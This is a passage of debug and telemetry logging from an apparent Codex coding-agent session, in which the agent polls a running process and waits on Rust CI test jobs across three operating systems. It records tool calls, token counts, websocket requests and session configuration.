[INFO]   * Setup Rust\n[2026-07-12T04:09:49.691Z] [INFO]   * Cache cargo registry\n[2026-07-12T04:09:49.691Z] [INFO]   * Run tests\n[2026-07-12T04:09:49.691Z] [INFO]   * Run doc tests\n[2026-07-12T04:09:49.691Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:49.691Z] [INFO] * Test (windows-latest) (ID 86613944394)\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:49.691Z] [INFO]   * Setup Rust\n[2026-07-12T04:09:49.691Z] [INFO]   * Cache cargo registry\n[2026-07-12T04:09:49.691Z] [INFO]   * Run tests\n[2026-07-12T04:09:49.691Z] [INFO]   * Run doc tests\n[2026-07-12T04:09:49.691Z] [INFO]   * Post Run actions/checkout@v6\n[2026-07-12T04:09:49.691Z] [INFO] * Test (macos-latest) (ID 86613944467)\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Set up job\n[2026-07-12T04:09:49.691Z] [INFO]   \u2713 Run actions/checkout@v6\n[2026-07-12T04:09:49.691Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:09:49.682Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:49.691Z] [INFO] 2026-07-12T04:09:49.682623Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=wait call_id=call_B3Agmg7W9SNcyvTq6KLlderv duration_ms=17919 success=true arguments_length=57 output_length=1701 output_line_count=65 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:09:49.682Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:49.691Z] [INFO] 2026-07-12T04:09:49.684122Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=wait call_id=call_B3Agmg7W9SNcyvTq6KLlderv tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=17921 total_duration_ms=17921\n[2026-07-12T04:09:49.691Z] [INFO] \n[2026-07-12T04:09:49.767Z] [INFO] 2026-07-12T04:09:49.764659Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:09:49.767Z] [INFO] \n[2026-07-12T04:09:49.776Z] [INFO] 2026-07-12T04:09:49.776366Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=3 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:09:49.776Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:49.776Z] [INFO] 2026-07-12T04:09:49.776448Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=3 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:09:49.776Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:49.776Z] [INFO] 2026-07-12T04:09:49.776483Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:09:49.776Z] [INFO] \n[2026-07-12T04:09:50.759Z] [INFO] 2026-07-12T04:09:50.756098Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53138ebd788191be999bd78cfd6f9a\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxOOzNwWf468lBf5S4HKDI7ccbNuUuAOXj6FfU6ueUnVynJAxwuJXgX3VOuELPrM4m6IadnJoYvtpJslaavDoQVVIYrJAedCdTGcg6Qqe9OOMb85vlvgh-dqnfF9VToQw4Qa3DRwYi-0RUneOUBGidnn8eZIoeR210m2nhM74b8rT5aecsLvE0-spzlVVnfu6io4ASVPlCxYv47ygPk2MfB3X2CWrdaCn96z2124vzmS5jnNhfcsxu-yteH37a-_hd4WyNsW0OYI6JmjXmVfNYZxFvGPAui0Avm8wC0P81o3KbHLq4SQY3UFZ_h0OkTOO1pF3cFrsgk1QbLhmB-v7KdeVjuZSzJqdHku0XGZcR0jnYM8KEUZMqkyoi7MQ505QjZ4KdH2cMB1xQvmJKY-wTBVeJhA3HFBSPsVL5wK0yxZ8BYlD0Zjq7kuO1nk1YBravfAxYvJng7OCehUsk1Dx3bqZhLXhd3td5yFrpmTMA0QGVDNRKTzxMSTskA9OGiJvJOS_EY_6RwEPva2a0hyB9wrzR6SjejzDga1DgZhDSvcqnfFX_yWd6VcQzVy8UNEN0_FxPvDG4dzvwa2tYhkMk3Mn5uteF9OImgam5WnJ_T2MNZiDf248yhu8P_SV2WVTshzgyFlH8bgL8s9U_DgY60E_fdhhWd_rz0oqUjt7VAnUmT-wYnyyR5VOOdwxTz5M8gQrEohT8ou-Tn3iycBievHchfoYmdaINgT6ZUdQKhnB7TIfLJ3f-fU0gFF9zympfU6Wef8i4G1fsqsJlXoJmMNiTJhuFYl6x8X6lCUMvNxZqcYM5GJCshRcjNdk63WYhmIUzVybg_01fzW4dEXSNjFl6UNXBcpcTxhxoMnVVesW0yq_AUxPrPt_XXjuq4W_6IeB8wuwQmamxlfkF6_v4uDPw==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:09:50.759Z] [INFO] \n[2026-07-12T04:09:51.202Z] [INFO] 2026-07-12T04:09:51.202153Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53138ebd788191be999bd78cfd6f9a\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxOPwv0Pc3GNdpDB4bS4lc2XYaTz2-xVpv6xP6sfFLhYZN1mkuCEd2bh1xTk_RYiV0g68wKmMDpnpvvwsY6KgrdGofqCFCGb7uL5ilRJe_LxqBTVFbHbvKOqA6yK9Dyl8aRZUSy3rFGqN5MQ7_M50eFgjRarGdYTaC2BGJX0Kfi20ELinBSzT3TSH4-0xsym3UfG4Fy9uD_xsQcBzduaFInu9dnSyZ_UyjXWhLW1ohUz5q-mBRrhETOaLugrsGCZdc6UpynPGdTB3m9IC-heG_bRTmdWEx7If6hJfUs6dI7KESiUgabRGs-3ywHRaeSR1kJyE3Qkgt-GeE-01JCBHLBDItQuwrIBbAv6FZwvyb_m1zcFVE-8wA0MjaUiaThjBOPYSboo9eIIDCwRfHXdPu3pu6iliS6X4SQdQ71FLIvX5-Ios40ijJfKCNH7Q0hENiSUxgMcXvWTtooXyt4alRWL8YzE9IHqkmYCinzjXH6MeqyrShWI6DXeGpt9XOIljgA4lxP34Hw_aYTcJqifRmkrHzqDjRfZxH13f9zPT7Awd2ft27o2_Hjb5qPTNEmq49q65AVyPY1r8BcdMFQ7B2tA2VD5dgZzY-bxkyd-_KMkSGKFbS5pOiktUAhK2PNjl0mrxZt0mox-4GyvtMc9UjaGz5DEHahtDTaCdxHtgjISQqST4cAOFnLYpwihG97dpz_jc4te_Ec91b8stHmrEN3rBmkINeTXZmf2Hhjj_Zlxu6d3PLQnSwiN0xvASkC_rY16Xrgg9ubKU0PGJf6t4HYZZO3moDPez-uQBMSxs112v_oJUmc-i3lmbxE2h8hdvTVCnbH3aSfei72K-FKl05Msiwy2eVVVT-X_huv4fmhhcQcN1GNq0FUzZIEZExBD8ZtZBgSTs2pSYNlPDPHtCp5pDOthiAwn6hqLIciENcNnoW89jyl8tBLVrBxhg5OsnosP\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:09:51.202Z] [INFO] \n[2026-07-12T04:09:51.205Z] [INFO] 2026-07-12T04:09:51.203179Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a53138f23a08191898ef7dc1a3be246\"), status: Some(\"in_progress\"), call_id: \"call_irREWrgT51a92XhHeOK9GXhe\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:09:51.205Z] [INFO] \n[2026-07-12T04:09:53.904Z] [INFO] 2026-07-12T04:09:53.902152Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.write_stdin({session_id:81385,chars:\"\",yield_time_ms:30000,max_output_tokens:10000}); text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:09:53.904Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:09:53.904Z] [INFO] \n[2026-07-12T04:09:53.918Z] [INFO] 2026-07-12T04:09:53.917169Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a53138dd7448191b1851525eafd3ef9\"\n[2026-07-12T04:09:53.918Z] [INFO] 2026-07-12T04:09:53.917232Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=86085 output_token_count=69 cached_token_count=80640 reasoning_token_count=8 tool_token_count=86154 ttft_ms=980 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:09:53.917Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:53.918Z] [INFO] 2026-07-12T04:09:53.917254Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=86085 output_token_count=69 cached_token_count=80640 reasoning_token_count=8 tool_token_count=86154 ttft_ms=980 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:09:53.917Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:09:53.918Z] [INFO] \n[2026-07-12T04:10:04.001Z] [INFO] 2026-07-12T04:10:03.983360Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_irREWrgT51a92XhHeOK9GXhe arguments=const r=await tools.write_stdin({session_id:81385,chars:\"\",yield_time_ms:30000,max_output_tokens:10000}); text(r.output); if(r.session_id) text(`SESSION_ID=${r.session_id}`);\n[2026-07-12T04:10:04.001Z] [INFO]  duration_ms=10079 success=true output=Script running with cell ID 26\n[2026-07-12T04:10:04.001Z] [INFO] Wall time 10.1 seconds\n[2026-07-12T04:10:04.001Z] [INFO] Output:\n[2026-07-12T04:10:04.001Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:10:03.983Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:04.001Z] [INFO] 2026-07-12T04:10:03.983528Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_irREWrgT51a92XhHeOK9GXhe duration_ms=10079 success=true arguments_length=175 output_length=62 output_line_count=3 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:10:03.983Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:04.001Z] [INFO] \n[2026-07-12T04:10:04.016Z] [INFO] 2026-07-12T04:10:03.990181Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_irREWrgT51a92XhHeOK9GXhe tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=10086 total_duration_ms=10086\n[2026-07-12T04:10:04.016Z] [INFO] \n[2026-07-12T04:10:04.281Z] [INFO] 2026-07-12T04:10:04.280496Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:10:04.281Z] [INFO] \n[2026-07-12T04:10:04.302Z] [INFO] 2026-07-12T04:10:04.292223Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:10:04.292Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:04.302Z] [INFO] 2026-07-12T04:10:04.292299Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:10:04.292Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:04.302Z] [INFO] 2026-07-12T04:10:04.292333Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:10:04.302Z] [INFO] \n[2026-07-12T04:10:05.424Z] [INFO] 2026-07-12T04:10:05.400991Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=FunctionCall { id: Some(\"fc_0e255b39bbad6b0b016a53139d61e4819189df998679b4bf47\"), name: \"wait\", namespace: None, arguments: \"\", call_id: \"call_8dHjT22roV3zgUZn4d8ORdIp\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:10:05.424Z] [INFO] \n[2026-07-12T04:10:05.971Z] [INFO] 2026-07-12T04:10:05.970531Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: wait {\"cell_id\":\"26\",\"yield_time_ms\":30000,\"max_tokens\":10000} thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:10:05.971Z] [INFO] \n[2026-07-12T04:10:05.977Z] [INFO] 2026-07-12T04:10:05.976663Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a53139c59b08191948240c630dcebaf\"\n[2026-07-12T04:10:05.977Z] [INFO] 2026-07-12T04:10:05.976715Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=86182 output_token_count=31 cached_token_count=85760 reasoning_token_count=0 tool_token_count=86213 ttft_ms=1108 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:10:05.976Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:05.977Z] [INFO] 2026-07-12T04:10:05.976739Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=86182 output_token_count=31 cached_token_count=85760 reasoning_token_count=0 tool_token_count=86213 ttft_ms=1108 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:10:05.976Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:10:05.977Z] [INFO] \n[2026-07-12T04:10:13.054Z] [INFO] 2026-07-12T04:10:13.052879Z DEBUG opentelemetry_sdk:  name=\"PeriodReaderThreadExportingDueToTimer\"\n[2026-07-12T04:10:13.054Z] [INFO] 2026-07-12T04:10:13.053003Z DEBUG opentelemetry_sdk:  name=\"MeterProviderInvokingObservableCallbacks\" count=0\n[2026-07-12T04:10:13.054Z] [INFO] \n[2026-07-12T04:10:13.068Z] [INFO] 2026-07-12T04:10:13.058610Z DEBUG opentelemetry_sdk:  name=\"PeriodicReaderMetricsCollected\" count=7 time_taken_in_millis=5\n[2026-07-12T04:10:13.068Z] [INFO] 2026-07-12T04:10:13.059644Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportStarted\"\n[2026-07-12T04:10:13.068Z] [INFO] 2026-07-12T04:10:13.059679Z DEBUG opentelemetry-http:  name=\"ReqwestBlockingClient.Send\"\n[2026-07-12T04:10:13.068Z] [INFO] 2026-07-12T04:10:13.061086Z DEBUG hyper_util::client::legacy::pool: reuse idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:10:13.068Z] [INFO] \n[2026-07-12T04:10:13.122Z] [INFO] 2026-07-12T04:10:13.112160Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", ab.chatgpt.com)\n[2026-07-12T04:10:13.122Z] [INFO] 2026-07-12T04:10:13.122156Z DEBUG opentelemetry-otlp:  name=\"HttpMetricsClient.ExportSucceeded\"\n[2026-07-12T04:10:13.122Z] [INFO] 